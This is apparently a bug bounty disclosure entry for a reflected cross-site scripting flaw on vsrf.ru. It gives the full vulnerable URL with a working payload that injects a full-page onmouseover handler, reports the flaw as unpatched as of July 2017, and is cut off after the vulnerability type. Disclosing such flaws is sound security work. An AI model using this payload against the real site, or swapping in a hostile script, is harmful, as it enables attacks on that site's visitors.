vsrf.ru XSS vulnerability

Vulnerable URL: http://www.vsrf.ru/catalog.php?c1="%20onmouseover%3dprompt/OPENBUGBOUNTY/%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS...